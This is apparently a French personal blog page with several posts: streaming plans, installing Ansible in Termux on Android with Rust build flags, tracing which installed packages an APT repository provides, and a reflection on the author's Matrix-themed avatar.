Bref, on le voit, les idées ne manquent pas; et on peut même tenter les vôtres si ça attise ma curiosité. Reste à décider quand, et où : j’ai commencé mon setup avec Youtube, donc on commencera là-bas. Tout simplement parce que j’avais déjà tout sous la main, dont le compte. Aussi parce que je voulais vérifier si je pouvais bien pousser du H265 avec un débit correct sur mon gros PC, et c’est le cas, ce qu’on peut pas faire encore sur Twitch. Et je n’ai pas à me demander si je dois enregistrer en plus de diffuser pour garder l’historique de la diffusion, YouTube le fait direct. Pour le quand, je me dis qu’un mardi ou mercredi soir serait pas mal, sachant que je vise des sessions d’une à deux heures maximum, pour pas trop bassiner les gens. Quant à la fréquence, on peut tenter une fois par semaine, mais ça ne sera pas une règle absolue. Je vais essayer d’être bon élève pour prévenir/confirmer les occurrences à la fois sur Twitter et Mastodon (lien dans le menu des Favoris, en attendant une meilleure intégration).

Alors, ça vous dit ?

Il y a quelques années Cascador avait partagé comment installer Ansible sur Android, via termux. Parce que déjà à l’époque c’était compliqué en termes de compatibilité. On est en 2023 et j’ai pu passer une partie d’un trajet récent en TGV (mon premier trajet en train en 10 ans) à galérer pour refaire ça sur un Android 11. Comme quoi c’est toujours pas magique l’informatique.

Eh oui, naïf comme je suis, j’ai pensé qu’avec python 3 et un Android récent, ça se passerait mieux, et qu’on serait pas obligé d’utiliser une version dépassée. C’était sans compter sur certaines dépendances, et notamment l’une d’entre elles qui est cryptography. Il s’avère que cette dépendance compile du code Rust, et c’est cette compilation qui demande de l’attention.

Au départ, on fait comme d’habitude et on installe/update python. A noter que Python 3 étant le seul présent, les packages s’appellent juste python-*. Donc on vérifie/installe python et python-pip, et on peut attaquer le travail :

mkdir ~/.venv
python -m venv ~/.venv/ansible
source ~/.venv.ansible/bin/activate
pip install -U pip wheel
pip install ansible

Et là, PAF ! pendant la première installation, cryptography me claque une erreur qui semble liée à Rust (évidemment, je n’ai pas pensé à conserver le log, même pas une capture d’écran…). En fait, rust n’est tout simplement pas installé, en même temps on s’attend pas à devoir compiler du Rust en installant un package python hein… Donc on l’ajoute, et on en profite pour quelques dépendances en plus :

pkg install build-essentials openssl libffi rust

Mais ce n’est pas suffisant, nouvel essai, nouvel échec. Cette fois, ce sont les options de compilation de Rust qui demandent à être adaptées. Fort heureusement, ça peut se faire avec des variables d’environnement. Dans mon cas, les deux suivantes étaient requises :

export RUSTFLAGS="-C -lto=n"
export CARGO_BUILD_TARGET="aarch64-linux-android"

Et là, en relançant mon pip install ansible, il a fini par terminer la compilation et donc l’installation effective d’ansible.

Au passage je déconseille fortement de faire ce genre de choses pendant un déplacement, le besoin d’accéder au réseau de manière stable est loin d’être garanti et j’ai perdu un peu de temps avec des coupures spontanées de connexion pendant les installs de paquets, aussi bien de pkg/apt (parce que oui, pkg dans termux dans la pratique c’est apt), que de pip.

Bon à savoir également, starship est disponible directement dans les packages, je n’ai pas encore déployé ma config perso, mais c’est cool et moins chiant que de jouer avec asdf. Même si ça asdf fera partie des choses que je compte installer aussi dans mon environnement mobile

Ça fait longtemps que j’avais pas eu à mettre les mains dans les coulisses du gestionnaire de paquet APT. D’ailleurs la dernière fois que j’ai eu à en parler ici, c’était en 2016, c’est dire. Mais grâce à mon super laptop de boulot sous Ubuntu, récemment j’ai eu à replonger dedans, du coup, on va voir ce qu’il en est.

Lors d’une mise à jour hebdomadaire, je me suis pris une erreur sur de clé GPG sur un dépot : https://apt.iteas.at/. Le site en question indique comment ajouter la nouvelle clé, mais avant de l’ajouter, j’ai quand même voulu chercher pourquoi ce dépôt était présent en premier lieu. Une chose est sure, déjà, c’est pas installé par les équipes info Accenture, c’est un ajout de mon cru. Mais ça ne m’avance pas plus que ça, l’historique de mon navigateur ne me donnant aucune piste particulière. Je me suis donc dit que je devais avoir les infos en local, à savoir les infos des paquets installés.

Sans en discuter la pertinence ou les dangers, un des avantages des fichiers locaux d’apt est qu’ils sont en texte brut, et donc on peut les scanner avec des outils de bases dispo sur pratiquement toutes les distributions linux. En l’occurrence, c’est dans le dossier /var/lib/apt/lists qu’on va se rendre. On y trouve une série de fichiers pour chaque dépot référencé, dans mon cas il se nomme apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages. Chaque paquet y est référencé avec toute une série d’informations.

En l’occurrence, je cherche juste le nom, pour demander ensuite à dpkg s’il est installé. On remarque par contre qu’un nom de paquet peut apparaître plusieurs fois, car toutes les versions disponibles sont référencées. En triant un peu, on arrive vite à un one-liner comme on aime les faire :

for i in $(grep "Package:" apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages |sort -n |uniq |awk '{print $2}'); do dpkg -l $i 2>/dev/null; done

Le résultat de cette première version mériterait un peu plus de traitement pour la lisibilité. La ligne du nom du paquet est préfixée par deux lettres pour indiquer le statut du paquet. Il suffit de chercher ceux qui sont avec « ii » :

for i in $(grep "Package:" apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages |sort -n |uniq |awk '{print $2}'); do dpkg -l $i 2>/dev/null | grep "ii"; done

ii keepassxc 2.6.4-1ppa1~focal1 amd64 KeePass Cross-Platform Community Edition
ii microsoft-edge-stable 109.0.1518.70-1 amd64 The web browser from Microsoft
ii openfortigui 0.9.8-1 amd64 GUI for openfortivpn
ii teams 1.5.00.23861 amd64 Microsoft Teams for Linux is your chat-centered workspace in Office 365.

Ok, du coup le souvenir m’est revenu. J’ai ajouté le dépôt pour installer openfortigui, en suivant la documentation (Fortinet étant le VPN utilisé par feu LinkByNet). Par contre, on voit dans les résultats que KeepassXC, Teams et Edge sont désormais « gérés » via ce dépôt. Autant, pour KeepassXC, c’est pas si grave, mais pour Teams et Edge, j’ai déjà les dépôts Microsoft à l’origine. Certes, désormais le client Teams va être abandonné (au « profit » de la version web qui est une tannée à utiliser au quotidien, et qui perd beaucoup trop de fonctions pour une appli de bureau – c’est pour ça que j’ai installé Edge au départ d’ailleurs), mais c’est une surprise dont je me serais passé.

Favicon du blog, Twitter, LinkedIn, Github, Gitlab, YouTube, NextInpact, Steam, et désormais Mastodon, si vous me suivez quelque part vous n’êtes pas sans avoir que je suis fan d’un certain univers. Pourtant, à la faveur d’une remarque sur l’effroi que peut générer cette image, je me rends compte que peu de gens comprennent sa signification. C’est subtil, à l’image de ce que propose le premier volet cinématographique dudit univers.

Voilà le message qui m’a un peu trigger, tout en souriant évidemment devant le ton humoristique sur lequel il est écrit :

Et il s’avère que si j’ai pu partager de vive voix, notamment avec certains collègues de boulot (oui je mets pas ma photo sur mon compte pro non plus :D), sur la subtilité de cet avatar, non seulement la référence du film n’est pas évident pour tout le monde, mais la signification de cet avatar en particulier l’est du coup encore moins. Il est donc temps de faire honneur à cette image, dont l’utilisation s’avère, on est d’accord, un poil tendancieuse sur le terrain du droit d’auteur.

The Matrix, un de mes films préférés, dans le Top 5

Le film est sorti en 1999, alors je pars du principe que la plupart l’ont vu. Si vous n’avez pas encore visionné ce chef d’œuvre du cinéma de science-fiction (certains diraient presque d’anticipation, mais faut pas pousser), il me semble qu’il est possible de le voir sur Netflix, en location sur Amazon Prime – oui oui, en plus de l’abonnement qui vient d’augmenter de 20 balles – , ou en Bluray 4K dont je suis peu fan du traitement colorimétrique dont il a fait l’objet, on verra pourquoi dans un instant. Et une fois que c’est visionné, revenez pour la suite. Ou si vous êtes motivés, vous vous pavez la trilogie, mais comme mon avatar fait référence au premier, tant que vous revenez, après, hein…

Oui, j’évite volontairement de parler de Resurrections – le 4 quoi -, c’est pour votre bien

Si vous vous en tapez un peu, pas grave, voici un petit résumé. Sorti de nulle part, écrit et réalisé par deux frangins (oui à l’époque elles étaient encore des hommes), dont c’est le deuxième film seulement, le film nous embarque dans un univers plus que dystopique, ou l’humanité sert de batteries pour des machines intelligentes, humanité au cerveau branché en direct dans une sorte d’open world ++, La Matrice, et dont tout est fait pour qu’ils restent « endormis » dans ce monde afin d’exploiter tout le potentiel électrique jusqu’à leur mort. Certains se sont réveillés et enfuits, débranchés, reviennent de temps en temps dans ce monde comme des pirates pour tenter de réveiller toujours plus de personnes. Ces pirates mènent aussi une guerre bien réelle cette fois en dehors du monde virtuel contre les machines qui exploitent l’énergie, machines qui tentent évidemment de garder leur pré carré, voire d’aller débusquer les humains où ils se cachent pour les détruire.

Parmi ces pirates, l’un tente de trouver « l’élu », un mec ou une nana plus éveillée que les autres et capable de dépasser les règles du monde conçu par les machines, pouvant alors prendre l’avantage sur les machines depuis l’intérieur du système afin de libérer toute l’humanité. On passera sur l’aspect religieux à peine voilé de l’histoire (qui devient carrément gênant dans le troisième film), pour revenir au chercheur d’or. Il s’appelle Morpheus, fait un peu office d’évangéliste chez les humains – tout le monde ne croit pas forcément en cette histoire d’Élu -, et c’est donc le personnage que l’on voit dans mon avatar. À un moment du film, Morpheus se fait capturer pour permettre à Neo, qui est censé être l’Élu (c’est pas encore clair pour les personnages encore à ce moment-là), de s’échapper de la Matrice. Il est donc capturé, toujours « branché » à la Matrice, et torturé par des « agents », sorte d’antivirus locaux, parce que le bougre étant un ponte dans le milieu des humains, il est censé détenir des codes d’accès pour la seule cité humaine bien loin dans les profondeurs du sol terrestre. Pour la suite et la fin du film, ben je vous laisse le regarder (ou lire le synopsis complet sur Wikipedia pour les plus flemmards).

La subtilité qui fait tout

Dans le film, la distinction entre le monde réel et la Matrice se fait principalement sur la colorimétrie de l’image. Dans la Matrice, tout a une teinte un peu verdâtre, et l’image est ultra propre et lumineuse. Dans le monde réel au contraire, c’est bleu, voire gris, et beaucoup plus sombre. Il serait difficile de faire autrement puisqu’on apprend que dans la guerre contre les machines, à une époque où humains et machines vivaient uniquement d’énergie solaire, les humains ont salopé toute l’atmosphère pour plonger le monde dans une nuit éternelle. D’où la solution des machines de se servir des humains directement, pas folles les guêpes

Bref, pendant le fameux interrogatoire, Morpheus est donc, dans le monde réel, allongé sur son fauteuil de dentiste, la tête branchée à un ordinateur pour le plonger dans la Matrice, et c’est dans cette Matrice que son esprit est attaqué pour lui faire cracher les fameux codes. Donc cette image de torture avec les électrodes dans le film, vous la voyez en vert, ce qui traduit donc une lutte pour échapper au monde virtuel, en tout cas à ses geôliers. Mais mon avatar, vous l’aurez compris, n’est pas teinté de vert, mais bien teinté de bleu, et avec la grille de lecture de la scène, on peut penser que Morpheus essaie cette fois d’échapper au monde réel.

C’est pas cool comme image du coup, pour illustrer ce qui n’est qu’un avatar numérique ? Moi j’adore Je l’ai trouvé à une époque où je me sentais beaucoup mieux en ligne que dans le monde réel, et même si c’est beaucoup moins le cas désormais (je me soigne un peu, deux ans de Covid n’ont pas aidé par contre), j’ai du mal à vouloir en changer. Le monde réel ne va toujours pas mieux, mais désormais ça se ressent aussi en ligne, pas évident. Je garde le même en le foutant en noir et blanc peut-être ?

Oui, j’en fais peut-être un peu trop

Je ne me souviens plus comment je suis tombé sur cette image, qui n’est probablement qu’une simple photo de tournage (d’ailleurs il ne me semble pas avoir ce plan en particulier dans le montage final du film), il n’y a donc pas forcément de volonté de jouer avec ces codes. Mais c’est comme les passages interminables de bouquins centenaires d’auteurs chiants comme la pluie dont on sur-interprète les écrits pour remplir les cours de littérature de « première » de lycée sous prétexte de développer l’esprit critique des jeunes, comme si les auteurs avaient vraiment juste envie de dire autre chose que de décrire une scène chiante au possible sur trois pages, jusqu’à la couleur des moustaches d’un chat sans intérêt.

Dans tous les cas, je me répète, Matrix, c’est génial. Et même si les films suivants ne sont pas à la hauteur du premier pour moi – mal rythmés/montés, effets spéciaux vieillissants sur certains plans-, ça reste un univers marquant du cinéma, qui aura débordé ensuite sur des BD, du jeu vidéo (même si c’est pas glorieux comme résultat), du court-métrage d’animation avec The Animatrix, bref, il continue de nourrir l’imaginaire collectif plus de 20 ans après. Ce n’est pas pour rien, d’autant que les sujets d’IA sont de plus en plus nombreux, sans être plus réjouissante et la vision est moins pessimiste qu’un Terminator

PS : Et même s’il a peu de chance de lire ça, un grand merci à Laurence Fishburne de me permettre de m’illustrer de manière marquante sur le net